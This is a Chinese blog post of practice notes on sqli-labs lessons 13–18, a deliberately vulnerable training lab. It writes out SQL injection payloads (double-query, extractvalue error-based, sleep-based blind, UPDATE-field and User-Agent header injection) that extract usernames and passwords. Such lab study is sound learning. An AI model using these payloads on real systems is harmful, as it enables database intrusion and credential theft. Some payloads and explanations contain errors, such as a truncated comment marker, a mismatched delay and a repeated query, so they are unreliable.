sqli-labs靶场练习笔记13-18
- Less-13:POST-Double Injection-Single quotes-String-with twist(基于POST的变形单引号字符型双注入)
- Less-14:POST-Double Injection-Single quotes-String-with twist(基于POST的变形单引号(双引号)字符型注入)
- Less-15:POST-Blind-Boolian/time Based-Single quotes(基于POST的单引号布尔/时间盲注)
- Less-16:POST-Blind-Boolian/time Based-Double quotes(基于POSt的双引号布尔/时间盲注)
- Less-17:POST-Update Query-Error Basd-String(基于POST的更新查询字符型报错注入)
- Less-18:POST-Header Injection-Uagent field-Error based(基于POST的HTTP请求头Uagent field的报错注入)
Less-13:POST-Double Injection-Single quotes-String-with twist(基于POST的变形单引号字符型双注入)
该注入是单引号+括号型的注入,利用order by判断输出列数为3;
该题可以通过双注入实现,也可通过报错注入实现。
双注入实现:
') union select count(1),concat(floor(rand()*2),(select concat(username,'~',password) from users limit 0,1)) as a from information_schema.tables group by a %23
报错注入实现:
') or extractvalue(1,concat (0x7e,(select concat(username,'*',password) from users limit 0,1))) %23
![](https://i-blog.csdnimg.cn/blog_migrate/8d06acf7e8d04ce6f41d88d3941ee08c.png)
Less-14:POST-Double Injection-Single quotes-String-with twist(基于POST的变形单引号(双引号)字符型注入)
同上,该注入是双引号注入,同样也能通过双注入和报错注入试下实现:
双注入实现;
" union select count(1),concat(floor(rand()*2),(select concat(username,'*',password) from users limit 0,1)) as a from information_schema.tables group by a %23
![](https://i-blog.csdnimg.cn/blog_migrate/5630740cfbb7e0e817585368fe20c6c7.png)
报错注入实现:
" or extractvalue(1,concat(0x7e,(select concat(username,'*',password) from users limit 0,1))) %23
![](https://i-blog.csdnimg.cn/blog_migrate/08abd7ce1258c7d305fb3b8f9887bf76.png)
Less-15:POST-Blind-Boolian/time Based-Single quotes(基于POST的单引号布尔/时间盲注)
判断注入类型,无论什么方法都没有回显,因此可以通过sleep()函数判断该注入的类型:
=' or sleep(0.2) %23
当注入类型没有错误时,会执行sleep()函数,因此会休眠两秒;
通过该页面右下角的millis可以得知,该相应延迟了2秒左右,因此能够判断该注入是单引号类型的注入。
![](https://i-blog.csdnimg.cn/blog_migrate/998abb793eda7423011bacaa2d47145e.png)
通过之前的时间盲注可以进行注入:
' or if((select ascii(substr(username,1,1)) from users limit 0,1)=ascii('D'),sleep(0.2),0) %2
![](https://i-blog.csdnimg.cn/blog_migrate/7c9e363e7480bbf98a215fc6d99ec2f2.png)
ps:sleep(),在MySQL中,参数的单位是秒;
而在bp中,单位是十秒???
![](https://i-blog.csdnimg.cn/blog_migrate/a6e9ea41f6fcca30331939e8368e6b75.png)
求大佬告知
Less-16:POST-Blind-Boolian/time Based-Double quotes(基于POSt的双引号布尔/时间盲注)
与上题一样,通过sleep()判断该注入类型为双引号+单括号类型的注入:
![](https://i-blog.csdnimg.cn/blog_migrate/785b8f6f4fec0790e9d5ebc0a3f73235.png)
通过时间盲注进行注入:
") or if((select ascii(substr(username,1,1)) from users limit 0,1)=ascii('D'),sleep(0.2),0) %23
![](https://i-blog.csdnimg.cn/blog_migrate/f1d1b9ed02305b0b36a71ca941b1f0c5.png)
Less-17:POST-Update Query-Error Basd-String(基于POST的更新查询字符型报错注入)
与其他在登录时产生的注入不同,该题的注入是在用户修改密码时发生的,并且通过该题的源码可知,修改密码实际上更改了数据库的内容,因此需要用到UPDATE操作,
![](https://i-blog.csdnimg.cn/blog_migrate/28b24a6a384ba2c7807faee7f457e1df.png)
通过以下源码片段了解到该题对username的输入做了过滤,截取前十五个字符,对字符进行转义等等:
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
如果要修改密码,则必须要知道正确的用户名,因此我们无法像之前在username输入框进行测试,只有在修改密码的输入框进行注入测试。这里可以用burpsuite进行抓包改包测试;
![](https://i-blog.csdnimg.cn/blog_migrate/4046090a705cb31bbc1fc840144660b3.png)
该注入是无回显注入,因此可以利用sleep()函数对注入类型进行测试:
' or sleep(0.2) %23
`
通过该页面右下角的millis可以得知,该相应延迟了2秒左右,因此能够判断该注入是单引号类型的注入。
类似于时间盲注,对每个字符进行判断:
' or if((select ascii(substr(username,1,1)) from users limit 0,1)=ascii('D'),sleep(2),0) %23
![](https://i-blog.csdnimg.cn/blog_migrate/662129432e096315a984935bb6516d8a.png)
Less-18:POST-Header Injection-Uagent field-Error based(基于POST的HTTP请求头Uagent field的报错注入)
通过分析源码可得,name和password输入都进行了过滤处理。因此我们不能在输入框进行输入。
通过insert语句可知,尝试利用uagents字段可以进行注入:
利用报错注入,但是无法得出想要的结果:
![](https://i-blog.csdnimg.cn/blog_migrate/ea58ffe818e2877ec2bca57ad4d5ab43.png)
分析之后,在insert语句中,如果利用注释符号对输入后面进行注入,那么会注释掉value后面的语句,这样该insert语法错误,因此可以利用or或者and对注释符进行绕过。
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
![](https://i-blog.csdnimg.cn/blog_migrate/ea537ad3800d5728cb00d2599ba711dc.png)
爆表名:
' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) or'
![](https://i-blog.csdnimg.cn/blog_migrate/b8365ac9501ea507bcba4a1e37c4914b.png)
爆列名:
' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) or'
![](https://i-blog.csdnimg.cn/blog_migrate/de092d072c16123029d7dc04ccf11e1c.png)
爆数据
' or extractvalue(1,concat(0x7e,(select concat(username,'*',password) from users limit 0,1))) or'
![](https://i-blog.csdnimg.cn/blog_migrate/815eba1416e1807753c61f6e5327b331.png)
未完待续。。。。。。